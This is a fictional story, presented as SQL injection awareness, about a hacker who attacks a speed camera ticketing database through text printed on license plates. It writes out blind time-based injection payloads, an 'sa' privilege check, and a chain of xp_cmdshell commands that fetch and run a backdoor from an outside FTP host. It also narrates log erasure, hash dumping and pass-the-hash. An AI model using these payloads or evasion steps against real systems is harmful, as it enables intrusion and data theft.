Disclaimer
This is a fictional account of cyber-crime. The exploits detailed in this narrative are illegal. For example, driving your vehicle well beyond the speed limit on public roads with SQL commands strapped to your license-plates will very likely land you in prison. The purpose of this article is to increase awareness about SQL injections and to inspire developers to write secure code Although the narrative is purely a work of fiction, the technical hacks detailed within are entirely possible under certain circumstances. We strongly urge you to never step beyond the boundaries of the law and ethics, however if you choose to try any of the exploits mentioned in this article, we will in no way be responsible for your actions. Now that we've got that clear, let's begin.
Introduction
Sure, you've all heard about SQL injection vulnerabilities, but this is no ordinary article about SQLi. We're going to stretch the limit of SQL injections beyond the ordinary through an intriguing narrative.
Victor
It is only appropriate to commence with the strange story of gentleman named Mr.Victor. Now Victor was 38 years old and he was employed at a large corporate firm, heading database maintenance for a mission critical piece of their operation. He was the best of the best, a true hacker. A man who could alone build in a single day what multiple teams of adept programmers would take weeks to build. He was also an avid painter and a talented automotive mechanic. Such were his skills that his modified cars could consistently dust any modern supercar in a straight line. This particular avocation led to Victor having a serious problem with the law. He lived in a leased villa in Bangalore, the beautiful city in Southern India, and regularly took drives on the sprawling countryside roads in his modified vehicles. The traffic violations however, were burning a hole in his pocket. The year was 2013 and Bangalore had just setup their network of speed cameras that would snap you and send the speeding ticket straight to your residence. In the past two months itself, he spent over INR 1,00,000 on traffic violations and his hefty corporate salary was the only reason he wasn't flat out broke. Just two days ago, Victor was caught on a speed camera doing 264 kmph in his modded Subaru WRX - a 900 HP beast. Holding the envelope from the Traffic Violations Authority, he looked at the picture they had sent him in hard copy. A grab of his license plate with a high definition camera. On the picture there were a few parameters printed.
1.His vehicle registration number 2.The speed of the vehicle as it passed the camera 3.The exact date & time down to the last second that the image was captured and processed.
Attached to this picture was a hefty bill containing the fine, with a timestamp that was one second ahead of the timestamp of the picture, and another document detailing the cumulative amount that he owed the department for this year. He let out a heavy sigh and tried to convince himself he could stay within his limits, however he knew his condition was pathological at best- Victor could not drive within the speed limit. He had seen numerous therapists over the years, all to no avail. This was an addiction; not to drugs, or alcohol or the usual vices - this was an addiction to automotive-induced adrenaline. Despite his undoubted integral professionalism, Victor always lived on the edge. Sitting down with a cup of black coffee, he thought the matter over. He was not opposed to paying the fines. Another aspect of this matter tickled his mind.
How did this ticketing system work? From the speed camera grab to the fine reaching his doorstep... He gave it a thought and figured that the license plates were being photographed, processed through OCR and the license plate was being queried against the Motor Vehicles database. He figured that the speed cameras captured the speed of his car and his license plate. From these two inputs, they calculated the fine, obtained his address and sent him the ticket automatically. In order to fetch his address a DB query of some sort must have to run in the background. Something like.....
SELECT Address, Name FROM Registrants WHERE LicensePlate='[OCR license plate Data]';
Victor was an expert at databases. He could bend them to his will and that's what he decided to do. He had set his mind to taking control of this system. Without giving it further thought, he understood that the result of that query would be the filtered data of a single row from that database table, which contained his name and address. Now he was willing to bet that the people who created this system did not ever imagine that they would need to sanitize inputs, because...really - would you as a developer on a deadline designing a speed camera ticketing system consider it? If he were to put the following text on his license plate, he could possibly avoid the fine.
' or 1=1 LIMIT 1;#
The resulting query would be
SELECT Address, Name FROM Registrants WHERE LicensePlate=' ' or 1=1 LIMIT 1;#';
The part of the query, WHERE LicensePlate=' ' or 1=1 is what decides which records will be returned. The null LicensePlate will not return anything, however the OR clause will always be true(since 1 is always equal to 1). Therefore this portion of the query would return every single entry in the database. That would in all likelihood crash the system or trigger an alert getting him caught. The '#' character at the end of the query commented out everything that came after it. Limiting the result to the one, however would pull someone else's name and address (the unfortunate poor soul who's entry was first in the database) and send the fine to her/him. This, however also was not a good solution, since there were only so many modified Subaru WRX's in Bangalore - it wouldn't be too long before the guy who got the fine actually went back to the Traffic dept with the picture crying foul. Victor was not in this to avoid a fine - he wanted full control over this system.
He spent the afternoon sipping on coffee and crafting his exploit. The first stage involved finding out if the system was actually vulnerable to injections. He thought about how to figure this without getting caught. This was no ordinary Web Application Hack. There was no immedeate output, hence it was a sort of blind SQL injection, where he would have to wait until his speeding ticket came home to see if it worked.
WAIT over it
Having browsed the traffic department website, and probed some of their API's, he was able to deduce that they were running SQL Server at the backend (as opposed to MySQL, MariaDB or other RDBMS systems). Victor needed to confirm this particular premise so he went out that evening and bought 11 blank license plates for his vehicle. This was going to cost him, because this was no ordinary SQL injection where you could see results immediately on the screen. He would have to use his wit, and knowledge of databases to pull this off. In his workshop, he had a sticker cutting machine for the decals on his sports cars. He went to the screen and typed out the following sticker to be printed for the first license plate.
KA-01-CE-5689'; WAIT FOR DELAY '00:00:15';--
That would make the query executed by the database as such
SELECT Address, Name FROM Registrants WHERE LicensePlate='KA-01-CE-5689';WAIT FOR DELAY '00:00:15';--'
The '#' had to be changed to '--' because this is SQL Server, not MySQL. This last addition to the command would delay the execution of the SQL server command by 15 seconds. If his presumptions were correct, there would be a difference of 16 seconds between the timestamp on the photograph and the timestamp on the fine slip. The speed camera timestamp would remain unchanged since that was pulled from the Metadata of the image itself. This was all second nature to Victor, he didn't even have to think to figure all this out. He went to sleep that night, and woke up the following morning.
Injection 0x01
He fixed himself a nice cup of black coffee and poached eggs with bacon. After consuming his breakfast, he slapped on his new license plate and drove to the nearest speed camera. He carefully set his limiter to 20 km/hr above the speed limit so as not to trigger a heavy fine. He would have to pay for each injection attempt. Shooting past the speed camera at 120 km/hr, Victor returned home and waited for two days. Sure enough on the second day, after he came from work, he found the familiar envelope in his mailbox. Excited, he tore open the envelope and compared the timestamps. He examined the picture with the timestamp, and the timestamp of the fine slip and there was a difference of 16 seconds!! He let out a yelp of joy and went back into his workshop. Now he knew that it was only a matter of time(and money) before the server belonged to him.
Injection 0x02
Victor was a master of RDBMS systems. He knew almost of them inside out, MySQL, MariaDB, Postgres and all their variants over the years. He knew which versions had what features enabled by default, how to optimise queries on each of them and how to manipulate them. He deduced that the 'xp_cmdshell' call should be available if the database was being run as 'sa' or a system administrator account. This was a longshot but it was worth a try. He went to his sticker printer terminal and entered the following for the second license plate:
KA-01-CE-5689'; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:10';--
This would execute the query with a delay only if the user of the database was 'sa'. The following morning, on his way to work, Victor chose another speed camera and ripped past the shutters at 120 km/hr. After two days sure enough, the envelope arrived. Victor was tense, he could feel his heart beating as he tore open the envelope. This was the second time he looked at a fine of INR 7,000 and lit up with pure joy. The user was indeed 'sa', the difference between the timestamps of the picture and fine slip was exactly 11 seconds. Since the speed camera system was only one month old, it appeared to still be in a sort of debugging phase which needed tweaks and hence the 'sa' user was the active application user.
Planning
Victor was limited in his use of SQL injections because if he used the additional queries to enumerate the database, there was a good chance that the query would return different data, meaning that the address where the ticket went would not match up and he would not be able to get the result of his attempt. So he had to play it safe.
He gave the situation some thought; It would be great to have remote shell access to this machine. But how could he get it? It would be very easy for him to damage the data in this database, however Victor was a man of finesse. He was very good at writing programs in assembly and C. So he wrote up a backdoor that would fire a reverse shell at one of his many cloud servers. The communications were encrypted over https with a trusted certificate baked into the malware, so as not to trigger any Network Intrusion detection systems. Using his knowledge of C he made the file size extremely small. The malware was authored to protect itself and restore calmly upon reboots. It would hide relatively simply as a process that seemed normal on the system. In the event that an egress firewall rule prevented outgoing https connections, the malware was designed to make a DNS query to a particular server owned by Victor to indicate the same to him and wait for a second stage to circumvent the obstacle.
Injection 0x0304050607080910
Victor pulled out his third blank license plate and ran to the sticker printer. Before typing up this query, Victor gave it some thought. After a quick decision to take a chance on ftp being installed on the server, he wrote out his following 8 license plates
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo open ftp.victors_corp.org > rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo v58795 >> rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo pwnrtodbms328 >> rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo binary >> rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo get MSSQLSerrver.exe >> rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'echo quit >> rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'ftp -s:rsc.txt';--
KA-03-AU-5798'; exec master.dbo.xp_cmdshell 'MSSQLSerrver.exe';--
This series of commands would create an ftp script on the Database server that, when executed would pull his malware from his own ftp server. The last injection would seal the deal and run the backdoor on the DBMS system. If the system was egress regulated, Victor had built additional mechanisms into the executable to let him know and prepare for a second stage that would target the application server.
Victor setup his command and control server that would be receiving the reverse https shell and the DNS server in case it didn't work out. He decided to pull this all off on a single day. He would have called his street racing buddies out and had them all go in single file, however he wanted to keep this one to himself as he knew of the consequences of getting caught. This time he had changed the number on the plate so as to avoid the fines. He did not need any more confirmation of the result of these injections, they would work....he knew it. He chose the number of a vehicle that was recently decommissioned and did not belong to anyone, so his version of a conscience was clear. In succession Victor swapped out 7 plates as he ripped through speed cameras at over 230 km/h.
Moment of truth
Before the 8th plate, the final command, he opened up his android phone and ssh'ed into his command and control server using the app Juice.
He fixed the phone to his dashboard holder and ran the listener on the remote server behind a reverse proxy that was listening on an IP address bound to a legit domain. The server was written in flask and was mapped to a highly obfuscated endpoint. It also had an API key that was obfuscated in the malware backdoor that opened the channel of communication with the command and control server. The server was daemonised and the listener was running within the 'screen' command so that even if his phone disconnected, the session would live. Moreover he had configured the backdoor to connect back to the server at highly irregular and sparse intervals using a variety of obfuscation techniques to avoid Network Intrusion Detection systems. Victor put on his favourite band on his beefed up stereo - Simon & Garfunkel. He floored it and propelled his stick shift through the gears until the car was roaring down the road at 240 km/h. Shooting past the speed cam, he slammed on the brakes and pulled to the side of the lovely countryside road. 4 seconds later his Android screen flickered, the connection had come through! Victor had shell access to this machine.
He could now explore this database of all the Vehicles in the country, change anything, do anything......he was still not out of the water - not by a longshot. What had he just done? A wave of anxiety hit him hard, however he calmed himself down. He was an expert on these subjects. He instantly grabbed his phone and erased all evidence of his injections across relevant log files. They would, however be in the http logs on the application server, however he hoped they were POST requests which would go under the radar. He was going to get shell access on that machine as well, it was only a matter of time, now that he had an interactive shell. He ran 'netstat' and found the coordinates of the application server. He dumped the NTLM hashes of the current system and replayed them in a 'pass the hash' attack to get shell on the application server. All within a few minutes of pulling over. He could now clear his trail, but what had he got himself into? How far was this rabbit hole going to lead him? Was he going to modify the code of a nation-wide safety project just to avoid a speeding ticket? He suddenly came to his senses - No, that was not what he started out to do. Victor decided that he would henceforth unleash his vehicles only on the racetrack. He paid all his fines that were due. Just the knowledge that he could bend rules was sufficient. He was no thief...but he did however keep his backdoor live just to ensure that no one else pulled the same stunt.
End
And that is the strange story of Victor. A brilliant mind who liked to live on the edge, perhaps risking too much for too little.
Takeaway
Please sanitise your database inputs, wherever they come from. It's not just forms in web applications, but barcode readers, QR codes, RFID, image recognition, and just about any form of input can be vulnerable SQL injection. This one never gets old....
A gentle reminder : Please respect the law at all times. Driving beyond the speed limit is irresponsible and dangerous, and attempting to SQL inject a server that doesn't belong to you will land you in prison in most places in the world.
Tell us what you think of the story. Did you find any technical inaccuracies?